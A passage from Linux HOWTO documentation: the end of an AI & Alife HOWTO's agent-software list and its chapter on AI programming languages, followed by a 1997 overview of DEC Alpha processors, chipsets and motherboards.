UMPRS supports top-down, goal-based reasoning and selects goals and plans based on maximal priority. Execution of multiple simultaneous goals are supported, with suspension and resumption capabilities for each goal (i.e., intention) thread. UMPRS plans have an integrated precondition/runtime attribute that constrain their applicability. Available plan constructs include: sequencing, iteration, subgoaling, atomic (i.e., non-interruptable) blocks, n-branch deterministic conditional execution, explicit failure-handling section, and C++ primitive function definition.

Virtual Secretary Project (ViSe)

(Tcl/Tk)

  • Web site: www.cs.uit.no/DOS/Virt_Sec

The motivation of the Virtual Secretary project is to construct user-model-based intelligent software agents, which could in most cases replace human for secretarial tasks, based on modern mobile computing and computer network. The project includes two different phases: the first phase (ViSe1) focuses on information filtering and process migration, its goal is to create a secure environment for software agents using the concept of user models; the second phase (ViSe2) concentrates on agents' intelligent and efficient cooperation in a distributed environment, its goal is to construct cooperative agents for achieving high intelligence. (Implemented in Tcl/TclX/Tix/Tk)

VWORLD

  • Web site: zhar.net/projects/vworld/

Vworld is a simulated environment for research with autonomous agents written in prolog. It is currently in something of an beta stage. It works well with SWI-prolog, but should work with Quitnus-prolog with only a few changes. It is being designed to serve as an educational tool for class projects dealing with prolog and autonomous agents. It comes with three demo worlds or environments, along with sample agents for them. There are two versions now. One written for SWI-prolog and one written for LPA-prolog. Documentation is roughly done (with a student/professor framework in mind), and a graphical interface is planned.

WebMate

  • Web site: www.cs.cmu.edu/~softagents/webmate/

WebMate is a personal agent for World-Wide Web browsing and searching. It accompanies you when you travel on the internet and provides you what you want.

Features include:

  • Searching enhancement, including parallel search, searching keywords refinement using our relevant keywords extraction technology, relevant feedback, etc.
  • Browsing assistant, including learning your current interesting, recommending you new URLs according to your profile and selected resources, monitoring bookmarks of Netscape or IE, sending the current browsing page to your friends, etc.
  • Offline browsing, including downloading the following pages from the current page for offline browsing.
  • Filtering HTTP header, including recording http header and all the transactions between your browser and WWW servers, etc.
  • Checking the HTML page to find the errors or dead links, etc.
  • Programming in Java, independent of operating system, runing in multi-thread.

Zeus

  • Web site: www.labs.bt.com/projects/agents/zeus/

The construction of multi-agent systems involves long development times and requires solutions to some considerable technical difficulties. This has motivated the development of the ZEUS toolkit, which provides a library of software components and tools that facilitate the rapid design, development and deployment of agent system


GNU/Linux AI & Alife HOWTO: Programming languages

 Next Previous Contents

7. Programming languages

While any programming language can be used for artificial intelligence/life research, these are programming languages which are used extensively for, if not specifically made for, artificial intelligence programming.

Allegro CL

  • Web site: www.franz.com

Franz Inc's free linux version of their lisp development environment. You can download it or they will mail you a CD free (you don't even have to pay for shipping). It is generally considered to be one of the better lisp platforms.

APRIL

  • Web site: sourceforge.net/project/networkagent/

APRIL is a symbolic programming language that is designed for writing mobile, distributed and agent-based systems especially in an Internet environment. It has advanced features such as a macro sub-language, asynchronous message sending and receiving, code mobility, pattern matching, higher-order functions and strong typing. The language is compiled to byte-code which is then interpreted by the APRIL runtime-engine. APRIL now requires the InterAgent Communications Model (ICM) to be installed before it can be installed. [Ed. ICM can be found at the same web site]

Ciao Prolog

  • Web site: www.clip.dia.fi.upm.es/Software/Ciao/

Ciao is a complete Prolog system subsuming ISO-Prolog with a novel modular design which allows both restricting and extending the language. Ciao extensions currently include feature terms (records), higher-order, functions, constraints, objects, persistent predicates, a good base for distributed execution (agents), and concurrency. Libraries also support WWW programming, sockets, and external interfaces (C, Java, TCL/Tk, relational databases, etc.). An Emacs-based environment, a stand-alone compiler, and a toplevel shell are also provided.

DHARMI

  • Web site: http://megazone.bigpanda.com/~wolf/DHARMI/

DHARMI is a high level spatial, tinker-toy like language who's components are transparently administered by a background process called the Habitat. As the name suggests, the language was designed to make modelling prototypes and handle living data. Programs can be modified while running. This is accomplished by blurring the distinction between source code, program, and data.

ECoLisp

  • Web site (???): www.di.unipi.it/~attardi/software.html

ECoLisp (Embeddable Common Lisp) is an implementation of Common Lisp designed for being embeddable into C based applications. ECL uses standard C calling conventions for Lisp compiled functions, which allows C programs to easily call Lisp functions and viceversa. No foreign function interface is required: data can be exchanged between C and Lisp with no need for conversion. ECL is based on a Common Runtime Support (CRS) which provides basic facilities for memory managment, dynamic loading and dumping of binary images, support for multiple threads of execution. The CRS is built into a library that can be linked with the code of the application. ECL is modular: main modules are the program development tools (top level, debugger, trace, stepper), the compiler, and CLOS. A native implementation of CLOS is available in ECL: one can configure ECL with or without CLOS. A runtime version of ECL can be built with just the modules which are required by the application. The ECL compiler compiles from Lisp to C, and then invokes the GCC compiler to produce binaries.

ESTEREL

  • Web site: www-sop.inria.fr/meije/esterel/

Esterel is both a programming language, dedicated to programming reactive systems, and a compiler which translates Esterel programs into finite-state machines. It is particularly well-suited to programming reactive systems, including real-time systems and control automata.

Only the binary is available for the language compiler. :P

Gödel

  • Web page: www.cs.bris.ac.uk/~bowers/goedel.html

Gödel is a declarative, general-purpose programming language in the family of logic programming languages. It is a strongly typed language, the type system being based on many-sorted logic with parametric polymorphism. It has a module system. Gödel supports infinite precision integers, infinite precision rationals, and also floating-point numbers. It can solve constraints over finite domains of integers and also linear rational constraints. It supports processing of finite sets. It also has a flexible computation rule and a pruning operator which generalizes the commit of the concurrent logic programming languages. Considerable emphasis is placed on Gödel's meta- logical facilities which provide significant support for meta-programs that do analysis, transformation, compilation, verification, debugging, and so on.

LIFE

  • Web page: www.isg.sfu.ca/life

LIFE (Logic, Inheritance, Functions, and Equations) is an experimental programming language proposing to integrate three orthogonal programming paradigms proven useful for symbolic computation. From the programmer's standpoint, it may be perceived as a language taking after logic programming, functional programming, and object-oriented programming. From a formal perspective, it may be seen as an instance (or rather, a composition of three instances) of a Constraint Logic Programming scheme due to Hoehfeld and Smolka refining that of Jaffar and Lassez.

CLisp (Lisp)

  • Web page: clisp.sourceforge.net
  • Alt Web site: clisp.cons.org/

CLISP is a Common Lisp implementation by Bruno Haible and Michael Stoll. It mostly supports the Lisp described by Common LISP: The Language (2nd edition) and the ANSI Common Lisp standard. CLISP includes an interpreter, a byte-compiler, a large subset of CLOS (Object-Oriented Lisp) , a foreign language interface and, for some machines, a screen editor.

The user interface language (English, German, French) is chosen at run time. Major packages that run in CLISP include CLX & Garnet. CLISP needs only 2 MB of memory.

CMU Common Lisp

  • Web page: www.cons.org/cmucl/
  • FTP site: ftp2.cons.org/pub/languages/lisp/cmucl/release/
  • Linux Installation: www.telent.net/lisp/howto.html

CMU Common Lisp is a public domain "industrial strength" Common Lisp programming environment. Many of the X3j13 changes have been incorporated into CMU CL. Wherever possible, this has been done so as to transparently allow the use of either CLtL1 or proposed ANSI CL. Probably the new features most interesting to users are SETF functions, LOOP and the WITH-COMPILATION-UNIT macro.

GCL (Lisp)

  • FTP site: ftp.ma.utexas.edu/pub/gcl/

GNU Common Lisp (GCL) has a compiler and interpreter for Common Lisp. It used to be known as Kyoto Common Lisp. It is very portable and extremely efficient on a wide class of applications. It compares favorably in performance with commercial Lisps on several large theorem-prover and symbolic algebra systems. It supports the CLtL1 specification but is moving towards the proposed ANSI definition. GCL compiles to C and then uses the native optimizing C compilers (e.g., GCC). A function with a fixed number of args and one value turns into a C function of the same number of args, returning one value, so GCL is maximally efficient on such calls. It has a conservative garbage collector which allows great freedom for the C compiler to put Lisp values in arbitrary registers.

It has a source level Lisp debugger for interpreted code, with display of source code in an Emacs window. Its profiling tools (based on the C profiling tools) count function calls and the time spent in each function.

GNU Prolog

  • Web site: pauillac.inria.fr/~diaz/gnu-prolog/
  • Web site: www.gnu.org/software/prolog/prolog.html

GNU Prolog is a free Prolog compiler with constraint solving over finite domains developed by Daniel Diaz.

GNU Prolog accepts Prolog+constraint programs and produces native binaries (like gcc does from a C source). The obtained executable is then stand-alone. The size of this executable can be quite small since GNU Prolog can avoid to link the code of most unused built-in predicates. The performances of GNU Prolog are very encouraging (comparable to commercial systems).

Beside the native-code compilation, GNU Prolog offers a classical interactive interpreter (top-level) with a debugger.

The Prolog part conforms to the ISO standard for Prolog with many extensions very useful in practice (global variables, OS interface, sockets,...).

GNU Prolog also includes an efficient constraint solver over Finite Domains (FD). This opens contraint logic pogramming to the user combining the power of constraint programming to the declarativity of logic programming.

Mercury

  • Web page: www.cs.mu.oz.au/research/mercury/

Mercury is a new, purely declarative logic programming language. Like Prolog and other existing logic programming languages, it is a very high-level language that allows programmers to concentrate on the problem rather than the low-level details such as memory management. Unlike Prolog, which is oriented towards exploratory programming, Mercury is designed for the construction of large, reliable, efficient software systems by teams of programmers. As a consequence, programming in Mercury has a different flavor than programming in Prolog.

Mozart

  • Web page: www.mozart-oz.org/

The Mozart system provides state-of-the-art support in two areas: open distributed computing and constraint-based inference. Mozart implements Oz, a concurrent object-oriented language with dataflow synchronization. Oz combines concurrent and distributed programming with logical constraint-based inference, making it a unique choice for developing multi-agent systems. Mozart is an ideal platform for both general-purpose distributed applications as well as for hard problems requiring sophisticated optimization and inferencing abilities. We have developed applications in scheduling and time-tabling, in placement and configuration, in natural language and knowledge representation, multi-agent systems and sophisticated collaborative tools.

SWI Prolog

  • Web page: www.swi.psy.uva.nl/projects/SWI-Prolog/
  • FTP site: swi.psy.uva.nl/pub/SWI-Prolog/

SWI is a free version of prolog in the Edinburgh Prolog family (thus making it very similar to Quintus and many other versions). With: a large library of built in predicates, a module system, garbage collection, a two-way interface with the C language, plus many other features. It is meant as a educational language, so it's compiled code isn't the fastest. Although it similarity to Quintus allows for easy porting.

XPCE is freely available in binary form for the Linux version of SWI-prolog. XPCE is an object oriented X-windows GUI development package/environment.

Kali Scheme

  • Web site: www.neci.nj.nec.com/PLS/Kali.html

Kali Scheme is a distributed implementation of Scheme that permits efficient transmission of higher-order objects such as closures and continuations. The integration of distributed communication facilities within a higher-order programming language engenders a number of new abstractions and paradigms for distributed computing. Among these are user-specified load-balancing and migration policies for threads, incrementally-linked distributed computations, agents, and parameterized client-server applications. Kali Scheme supports concurrency and communication using first-class procedures and continuations. It integrates procedures and continuations into a message-based distributed framework that allows any Scheme object (including code vectors) to be sent and received in a message.

RScheme

  • Web site: www.rscheme.org
  • FTP site: ftp.rscheme.org/pub/rscheme/

RScheme is an object-oriented, extended version of the Scheme dialect of Lisp. RScheme is freely redistributable, and offers reasonable performance despite being extraordinarily portable. RScheme can be compiled to C, and the C can then compiled with a normal C compiler to generate machine code. By default, however, RScheme compiles to bytecodes which are interpreted by a (runtime) virtual machine. This ensures that compilation is fast and keeps code size down. In general, we recommend using the (default) bytecode code generation system, and only compiling your time-critical code to machine code. This allows a nice adjustment of space/time tradeoffs. (see web site for details)

Scheme 48

  • Web site: s48.org/

Scheme 48 is a Scheme implementation based on a virtual machine architecture. Scheme 48 is designed to be straightforward, flexible, reliable, and fast. It should be easily portable to 32-bit byte-addressed machines that have POSIX and ANSI C support. In addition to the usual Scheme built-in procedures and a development environment, library software includes support for hygienic macros (as described in the Revised^4 Scheme report), multitasking, records, exception handling, hash tables, arrays, weak pointers, and FORMAT. Scheme 48 implements and exploits an experimental module system loosely derived from Standard ML and Scheme Xerox. The development environment supports interactive changes to modules and interfaces.

SCM (Scheme)

  • Web site: www-swiss.ai.mit.edu/~jaffer/SCM.html

SCM conforms to the Revised^4 Report on the Algorithmic Language Scheme and the IEEE P1178 specification. Scm is written in C. It uses the following utilities (all available at the ftp site).

  • SLIB (Standard Scheme Library) is a portable Scheme library which is intended to provide compatibility and utility functions for all standard Scheme implementations, including SCM, Chez, Elk, Gambit, MacScheme, MITScheme, scheme->C, Scheme48, T3.1, and VSCM, and is available as the file slib2c0.tar.gz. Written by Aubrey Jaffer.
  • JACAL is a symbolic math system written in Scheme, and is available as the file jacal1a7.tar.gz.
  • Interfaces to standard libraries including REGEX string regular expression matching and the CURSES screen management package.
  • Available add-on packages including an interactive debugger, database, X-window graphics, BGI graphics, Motif, and Open-Windows packages.
  • A compiler (HOBBIT, available separately) and dynamic linking of compiled modules.

Shift

  • Web site: www.path.berkeley.edu/shift/

Shift is a programming language for describing dynamic networks of hybrid automata. Such systems consist of components which can be created, interconnected and destroyed as the system evolves. Components exhibit hybrid behavior, consisting of continuous-time phases separated by discrete-event transitions. Components may evolve independently, or they may interact through their inputs, outputs and exported events. The interaction network itself may evolve.

YAP Prolog

  • Web site: www.ncc.up.pt/~vsc/Yap/

YAP is a high-performance Prolog compiler developed at LIACC/Universidade do Porto. Its Prolog engine is based in the WAM (Warren Abstract Machine), with several optimizations for better performance. YAP follows the Edinburgh tradition, and is largely compatible with DEC-10 Prolog, Quintus Prolog, and especially with C-Prolog. Work on the more recent version of YAP strives at several goals:

  • Portability: The whole system is now written in C. YAP compiles in popular 32 bit machines, such as Suns and Linux PCs, and in a 64 bit machines, the Alphas running OSF Unix and Linux.
  • Performance: We have optimised the emulator to obtain performance comparable to or better than well-known Prolog systems. In fact, the current version of YAP performs better than the original one, written in assembly language.
  • Robustness: We have tested the system with a large array of Prolog applications.
  • Extensibility: YAP was designed internally from the beginning to encapsulate manipulation of terms. These principles were used, for example, to implement a simple and powerful C-interface. The new version of YAP extends these principles to accomodate extensions to the unification algorithm, that we believe will be useful to implement extensions such as constraint programming.
  • Completeness: YAP has for a long time provided most builtins expected from a Edinburgh Prolog implementation. These include I/O functionality, data-base operations, and modules. Work on YAP aims now at being compatible with the Prolog standard.
  • Openess: We would like to make new development of YAP open to the user community.
  • Research: YAP has been a vehicle for research within and outside our group. Currently research is going on on parallelisation and tabulation, and we have started work to support constraint handling.


Brief Introduction to Alpha Systems and Processors

Neal Crook, Digital Equipment (Editor: David Mosberger)

V0.11, 6 June 1997

This document is a brief overview of existing Alpha CPUs, chipsets and systems. It has something of a hardware bias, reflecting my own area of expertese. Although I am an employee of Digital Equipment Corporation, this is not an official statement by Digital and any opinions expressed are mine and not Digital's.

1. What is Alpha

2. What is Digital Semiconductor

3. Alpha CPUs

4. 21064 performance vs 21066 performance

5. A Few Notes On Clocking

6. The chip-sets

7. The Systems

8. Bytes and all that stuff

9. PALcode and all that stuff

10. Porting

11. More Information

12. References


Brief Introduction to Alpha Systems and Processors: What is Alpha

 Next Previous Contents

1. What is Alpha

"Alpha" is the name given to Digital's 64-bit RISC architecture. The Alpha project in Digital began in mid-1989, with the goal of providing a high-performance migration path for VAX customers. This was not the first RISC architecture to be produced by Digital, but it was the first to reach the market. When Digital announced Alpha, in March 1992, it made the decision to enter the merchant semicondutor market by selling Alpha microprocessors.

Alpha is also sometimes referred to as Alpha AXP, for obscure and arcane reasons that aren't worth persuing. Suffice it to say that they are one and the same.


Brief Introduction to Alpha Systems and Processors: What is Digital Semiconductor

 Next Previous Contents

2. What is Digital Semiconductor

Digital Semiconductor (DS) is the business unit within Digital Equipment Corporation (Digital - we don't like the name DEC) that sells semiconductors on the merchant market. Digital's products include CPUs, support chipsets, PCI-PCI bridges and PCI peripheral chips for comms and multimedia.


Brief Introduction to Alpha Systems and Processors: Alpha CPUs

 Next Previous Contents

3. Alpha CPUs

There are currently 2 generations of CPU core that implement the Alpha architecture:

  • EV4
  • EV5

Opinions differ as to what "EV" stands for (Editor's note: the true answer is of course "Electro Vlassic" [1]), but the number represents the first generation of Digital's CMOS technology that the core was implemented in. So, the EV4 was originally implemented in CMOS4. As time goes by, a CPU tends to get a mid-life performance kick by being optically shrunk into the next generation of CMOS process. EV45, then, is the EV4 core implemented in CMOS5 process. There is a big difference between shrinking a design into a particular technology and implementing it from scratch in that technology (but I don't want to go into that now). There are a few other wildcards in here: there is also a CMOS4S (optical shrink in CMOS4) and a CMOS5L.

True technophiles will be interested to know that CMOS4 is a 0.75 micron process, CMOS5 is a 0.5 micron process and CMOS6 is a 0.35 micron process.

To map these CPU cores to chips we get:

21064-150,166

EV4 (originally), EV4S (now)

21064-200

EV4S

21064A-233,275,300

EV45

21066

LCA4S (EV4 core, with EV4 FPU)

21066A-233

LCA45 (EV4 core, but with EV45 FPU)

21164-233,300,333

EV5

21164A-417

EV56

21264

EV6

The EV4 core is a dual-issue (it can issue 2 instructions per CPU clock) superpipelined core with integer unit, floating point unit and branch prediction. It is fully bypassed and has 64-bit internal data paths and tightly coupled 8Kbyte caches, one each for Instruction and Data. The caches are write-through (they never get dirty).

The EV45 core has a couple of tweaks to the EV4 core: it has a slightly improved floating point unit, and 16KB caches, one each for Instruction and Data (it also has cache parity). (Editor's note: Neal Crook indicated in a separate mail that the changes to the floating point unit (FPU) improve the performance of the divider. The EV4 FPU divider takes 34 cycles for a single-precision divide and 63 cycles for a double-precision divide (non data-dependent). In constrast, the EV45 divider takes typically 19 cycles (34 cycles max) for single-precision and typically 29 cycles (63 cycles max) for a double-precision division (data-dependent).)

The EV5 core is a quad-issue core, also superpipelined, fully bypassed etc etc. It has tightly-coupled 8Kbyte caches, one each for I and D. These caches are write-through. It also has a tightly-coupled 96Kbyte on-chip second-level cache (the Scache) which is 3-way set associative and write-back (it can be dirty). The EV4->EV5 performance increase is better than just the increase achieved by clock speed improvements. As well as the bigger caches and quad issue, there are microarchitectural improvements to reduce producer/consumer latencies in some paths.

The EV56 core is fundamentally the same microarchitecture as the EV5, but it adds some new instructions for 8 and 16-bit loads and stores (see Section Bytes and all that stuff). These are primarily intended for use by device drivers. The EV56 core is implemented in CMOS6, which is a 2.0V process.

The 21064 was anounced in March 1992. It uses the EV4 core, with a 128-bit bus interface. The bus interface supports the 'easy' connection of an external second-level cache, with a block size of 256-bits (2 data beats on the bus). The Bcache timing is completely software configurable. The 21064 can also be configured to use a 64-bit external bus, (but I'm not sure if any shipping system uses this mode). The 21064 does not impose any policy on the Bcache, but it is usually configured as a write-back cache. The 21064 does contain hooks to allow external hardware to maintain cache coherence with the Bcache and internal caches, but this is hairy.

The 21066 uses the EV4 core and integrates a memory controller and PCI host bridge. To save pins, the memory controller has a 64-bit data bus (but the internal caches have a block size of 256 bits, just like the 21064, therefore a block fill takes 4 beats on the bus). The memory controller supports an external Bcache and external DRAMs. The timing of the Bcache and DRAMs is completely software configurable, and can be controlled to the resolution of the CPU clock period. Having a 4-beat process to fill a cache block isn't as bad as it sounds because the DRAM access is done in page mode. Unfortunately, the memory controller doesn't support any of the new esoteric DRAMs (SDRAM, EDO or BEDO) or synchronous cache RAMs. The PCI bus interface is fully rev2.0 compliant and runs at upto 33MHz.

The 21164 has a 128-bit data bus and supports split reads, with upto 2 reads outstanding at any time (this allows 100% data bus utilisation under best-case dream-on conditions, i.e., you can theoretically transfer 128-bits of data on every bus clock). The 21164 supports easy connection of an external 3-rd level cache (Bcache) and has all the hooks to allow external systems to maintain full cache coherence with all caches. Therefore, symmetric multiprocessor designs are 'easy'.

The 21164A was announced in October, 1995. It uses the EV56 core. It is nominally pin-compatible with the 21164, but requires split power rails; all of the power pins that were +3.3V power on the 21164 have now been split into two groups; one group provided 2.0V power to the CPU core, the other group supplies 3.3V to the I/O cells. Unlike older implementations, the 21164 pins are not 5V-tolerant. The end result of this change is that 21164 systems are, in general, not upgradeable to the 21164A (though note that it would be relatively straightforward to design a 21164A system that could also accommodate a 21164). The 21164A also has a couple of new pins to support the new 8 and 16-bit loads and stores. It also improves the 21164 support for using synchronus SRAMs to implement the external Bcache.


Brief Introduction to Alpha Systems and Processors: 21064 performance vs 21066 performance

 Next Previous Contents

4. 21064 performance vs 21066 performance

The 21064 and the 21066 have the same (EV4) CPU core. If the same program is run on a 21064 and a 21066, at the same CPU speed, then the difference in performance comes only as a result of system Bcache/memory bandwidth. Any code thread that has a high hit-rate on the internal caches will perform the same. There are 2 big performance killers:

  1. Code that is write-intensive. Even though the 21064 and the 21066 have write buffers to swallow some of the delays, code that is write-intensive will be throttled by write bandwidth at the system bus. This arises because the on-chip caches are write-through.
  2. Code that wants to treat floats as integers. The Alpha architecture does not allow register-register transfers from integer registers to floating point registers. Such a conversion has to be done via memory (And therefore, because the on-chip caches are write-through, via the Bcache). (Editor's note: it seems that both the EV4 and EV45 can perform the conversion through the primary data cache (Dcache), provided that the memory is cached already. In such a case, the store in the conversion sequence will update the Dcache and the subsequent load is, under certain circumstances, able to read the updated d-cache value, thus avoiding a costly roundtrip to the Bcache. In particular, it seems best to execute the stq/ldt or stt/ldq instructions back-to-back, which is somewhat counter-intuitive.)

If you make the same comparison between a 21064A and a 21066A, there is an additional factor due to the different Icache and Dcache sizes between the two chips.

Now, the 21164 solves both these problems: it achieve much higher system bus bandwidths (despite having the same number of signal pins - yes, I know it's got about twice as many pins as a 21064, but all those extra ones are power and ground! (yes, really!!)) and it has write-back caches. The only remaining problem is the answer to the question "how much does it cost?"


Brief Introduction to Alpha Systems and Processors: A Few Notes On Clocking

 Next Previous Contents

5. A Few Notes On Clocking

All of the current Alpha CPUs use high-speed clocks, because their microarchitectures have been designed as so-called short-tick designs. None of the sytem busses have to run at horrendous speeds as a result though:

  • on the 21066(A), 21064(A), 21164 the off-chip cache (Bcache) timing is completely programmable, to the resolution of the CPU clock. For example, on a 275MHz CPU, the Bcache read access time can be controller with a resolution of 3.6ns
  • on the 21066(A), the DRAM timing is completely programmable, to the resolution of the CPU clock (not the PCI clock, the CPU clock).
  • on the 21064(A), 21164(A), the system bus frequency is a sub-multiple of the CPU clock frequency. Most of the 21064 motherboards use a 33MHz system bus clock.
  • Systems that use the 21066 can run the PCI at any frequency relative to the CPU. Generally, the PCI runs at 33MHz.
  • Systems that use the APECs chipset (see Section The chip-sets ) always have their CPU system bus equal to their PCI bus frequency. This means that both busses tends to run at either 25MHz or 33MHz (since these are the frequencies that scale up to match the CPU frequencies). On APECs systems, the DRAM controller timings are software programmable in terms of the CPU system bus frequency

Aside: someone suggested that they were getting bad performance on a 21066 because the 21066 memory controller was only running at 33MHz. Actually, it's the superfast 21064A systems that have memory controllers that 'only' run at 33MHz.


Brief Introduction to Alpha Systems and Processors: The chip-sets

 Next Previous Contents

6. The chip-sets

DS sells two CPU support chipsets. The 2107x chipset (aka APECS) is a 21064(A) support chiset. The 2117x chipset (aka ALCOR) is a 21164 support chipset. There will also be 2117xA chipset (aka ALCOR 2) as a 21164A support chipset.

Both chipsets provide memory controllers and PCI host bridges for their CPU. APECS provides a 32-bit PCI host bridge, ALCOR provides a 64-bit PCI host bridge which (in accordance with the requirements of the PCI spec) can support both 32-bit and 64-bit PCI devices.

APECS consists of 6, 208-pin chips (4, 32-bit data slices (DECADE), 1 system controller (COMANCHE), 1 PCI controller (EPIC)). It provides a DRAM controller (128-bit memory bus) and a PCI interface. It also does all the work to maintain memory coherence when a PCI device DMAs into (or out of) memory.

ALCOR consists of 5 chips (4, 64-bit data slices (Data Switch, DSW) - 208-pin PQFP and 1 control (Control, I/O Address, CIA) - a 383 pin plastic PGA). It provides a DRAM controller (256-bit memory bus) and a PCI interface. It also does all the work required to support an external Bcache and to maintain memory coherence when a PCI device DMAs into (or out of) memory.

There is no support chipset for the 21066, since the memory controller and PCI host bridge functionality are integrated onto the chip.


Brief Introduction to Alpha Systems and Processors: The Systems

 Next Previous Contents

7. The Systems

The applications engineering group in DS produces example designs using the CPUs and support chipsets. These are typically PC-AT size motherboards, with all the functionality that you'd typically find on a high-end Pentium motherboard. Originally, these example designs were intended to be used as starting points for third-parties to produce motherboard designs from. These first-generation designs were called Evaluation Boards (EBs). As the amount of engineering required to build a motherboard has increased (due to higher-speed clocks and the need to meet RF emission and susceptibility regulations) the emphasis has shifted towards providing motherboards that are suitable for volume manufacture.

Digital's system groups have produced several generations of machines using Alpha processors. Some of these systems use support logic that is designed by the systems groups, and some use commodity chipsets from DS. In some cases, systems use a combination of both.

Various third-parties build systems using Alpha processors. Some of these companies design systems from scratch, and others use DS support chipsets, clone/modify DS example designs or simply package systems using build and tested boards from DS.

The EB64: Obsolete design using 21064 with memory controller implemented using programmable logic. I/O provided by using programmable logic to interface a 486<->ISA bridge chip. On-board Ethernet, SuperI/O (2S, 1P, FD), Ethernet and ISA. PC-AT size. Runs from standard PC power supply.

The EB64+: Uses 21064 or 21064A and APECs. Has ISA and PCI expansion (3 ISA, 2 PCI, one pair are on a shared slot). Supports 36-bit DRAM SIMs. ISA bus generated by Intel SaturnI/O PCI-ISA bridge. On-board SCSI (NCR 810 on PCI) Ethernet (Digital 21040), KBD, MOUSE (PS2 style), SuperI/O (2S, 1P, FD), RTC/NVRAM. Boot ROM is EPROM. PC-AT size. Runs from standard PC power supply.

The EB66: Uses 21066 or 21066A. I/O sub-system is identical to EB64+. Baby PC-AT size. Runs from standard PC power supply. The EB66 schematic was published as a marketing poster advertising the 21066 as "the first microprocessor in the world with embedded PCI" (for trivia fans: there are actually 2 versions of this poster - I drew the circuits and wrote the spiel for the first version, and some Americans mauled the spiel for the second version)

The EB164: Uses 21164 and ALCOR. Has ISA and PCI expansion (3 ISA slots, 2 64-bit PCI slots (one is shared with an ISA slot) and 2 32-bit PCI slots. Uses plus-in Bcache SIMMs. I/O sub-system provides SuperI/O (2S, 1P, FD), KBD, MOUSE (PS2 style), RTC/NVRAM. Boot ROM is Flash. PC-AT-sized motherboard. Requires power supply with 3.3V output.

The AlphaPC64 (aka Cabriolet): derived from EB64+ but now baby-AT with Flash boot ROM, no on-board SCSI or Ethernet. 3 ISA slots, 4 PCI slots (one pair are on a shared slot), uses plug-in Bcache SIMMs. Requires power supply with 3.3V output.

The AXPpci33 (aka NoName), is based on the EB66. This design is produced by Digital's Technical OEM (TOEM) group. It uses the 21066 processor running at 166MHz or 233MHz. It is a baby-AT size, and runs from a standard PC power supply. It has 5 ISA slots and 3 PCI slots (one pair are a shared slot). There are 2 versions, with either PS/2 or large DIN connectors for the keyboard.

Other 21066-based motherboards: most if not all other 21066-based motherboards on the market are also based on EB66 - there's really not many system options when designing a 21066 system, because all the control is done on-chip.

Multia (aka the Universal Desktop Box): This is a very compact pedestal desktop system based on the 21066. It includes 2 PCMCIA sockets, 21030 (TGA) graphics, 21040 Ethernet and NCR 810 SCSI disk along with floppy, 2 serial ports and a parallel port. It has limited expansion capability (one PCI slot) due to its compact size. (There is some restriction on when you can use the PCI slot, can't remember what) (Note that 21066A-based and Pentium-based Multia's are also available).

DEC PC 150 AXP (aka Jensen): This is a very old Digital system - one of the first-generation Alpha systems. It is only mentioned here because a number of these systems seem to be available on the second-hand market. The Jensen is a floor-standing tower system which used a 150MHz 21064 (later versions used faster CPUs but I'm not sure what speeds). It used programmable logic to interface a 486 EISA I/O bridge to the CPU.

Other 21064(A) systems: There are 3 or 4 motherboard designs around (I'm not including Digital systems here) and all the ones I know of are derived from the EB64+ design. These include:

  • EB64+ (some vendors package the board and sell it unmodified); AT form-factor.
  • Aspen Systems motherboard: EB64+ derivative; baby-AT form-factor.
  • Aspen Systems server board: many PCI slots (includes PCI bridge).
  • AlphaPC64 (aka Cabriolet), baby AT form-factor.

Other 21164(A) systems: The only one I'm aware of that isn't simply an EB164 clone is a system made by DeskStation. That system is implemented using a memory and I/O controller proprietary to Desk Station. I don't know what their attitude towards Linux is.


Brief Introduction to Alpha Systems and Processors: Bytes and all that stuff

 Next Previous Contents

8. Bytes and all that stuff

When the Alpha architecture was introduced, it was unique amongst RISC architectures for eschewing 8-bit and 16-bit loads and stores. It supported 32-bit and 64-bit loads and stores (longword and quadword, in Digital's nomenclature). The co-architects (Dick Sites, Rich Witek) justified this decision by citing the advantages:

  1. Byte support in the cache and memory sub-system tends to slow down accesses for 32-bit and 64-bit quantities.
  2. Byte support makes it hard to build high-speed error-correction circuitry into the cache/memory sub-system.

Alpha compensates by providing powerful instructions for manipulating bytes and byte groups within 64-bit registers. Standard benchmarks for string operations (e.g., some of the Byte benchmarks) show that Alpha performs very well on byte manipulation.

The absence of byte loads and stores impacts some software semaphores and impacts the design of I/O sub-systems. Digital's solution to the I/O problem is to use some low-order address lines to specify the data size during I/O transfers, and to decode these as byte enables. This so-called Sparse Addressing wastes address space and has the consequence that I/O space is non-contiguous (more on the intricacies of Sparse Addressing when I get around to writing it). Note that I/O space, in this context, refers to all system resources present on the PCI and therefore includes both PCI memory space and PCI I/O space.

With the 21164A introduction, the Alpha archtecture was ECO'd to include byte addressing. Executing these new instructions on an earlier CPU will cause an OPCDEC PALcode exception, so that the PALcode will handle the access. This will have a performance impact. The ramifications of this are that use of these new instructions (IMO) should be restricted to device drivers rather than applications code.

These new byte load and stores mean that future support chipsets will be able to support contiguous I/O space.


Brief Introduction to Alpha Systems and Processors: PALcode and all that stuff

 Next Previous Contents

9. PALcode and all that stuff

This is a placeholder for a section explaining PALcode. I will write it if there is sufficient interest.


Brief Introduction to Alpha Systems and Processors: Porting

 Next Previous Contents

10. Porting

The ability of any Alpha-based machine to run Linux is really only limited by your ability to get information on the gory details of its innards. Since there are Linux ports for the E66, EB64+ and EB164 boards, all systems based on the 21066, 21064/APECS or 21164/ALCOR should run Linux with little or no modification. The major thing that is different between any of these motherboards is the way that they route interrupts. There are three sources of interrupts:

  • on-board devices
  • PCI devices
  • ISA devices

All the systems use an Intel System I/O bridge (SIO) to act as a bridge between PCI and ISA (the main I/O bus is PCI, the ISA bus is a secondary bus used to support slow-speed and 'legacy' I/O devices). The SIO contains the traditional pair of daisy-chained 8259s.

Some systems (e.g., the Noname) route all of their interrupts through the SIO and thence to the CPU. Some systems have a separate interrupt controller and route all PCI interrupts plus the SIO interrupt (8259 output) through that, and all ISA interrupts through the SIO.

Other differences between the systems include:

  • how many slots they have
  • what on-board PCI devices they have
  • whether they have Flash or EPROM


Brief Introduction to Alpha Systems and Processors: More Information

 Next Previous Contents

11. More Information

All of the DS evaluation boards and motherboard designs are license-free and the whole documentation kit for a design costs about \$50. That includes all the schematics, programmable parts sources, data sheets for CPU and support chipset. The doc kits are available from Digital Semiconductor distributors. I'm not suggesting that many people will want to rush out and buy this, but I do want to point out that the information is available.

Hope that was helpful. Comments/updates/suggestions for expansion to Neal Crook.


Brief Introduction to Alpha Systems and Processors: References

 Next Previous Contents

12. References

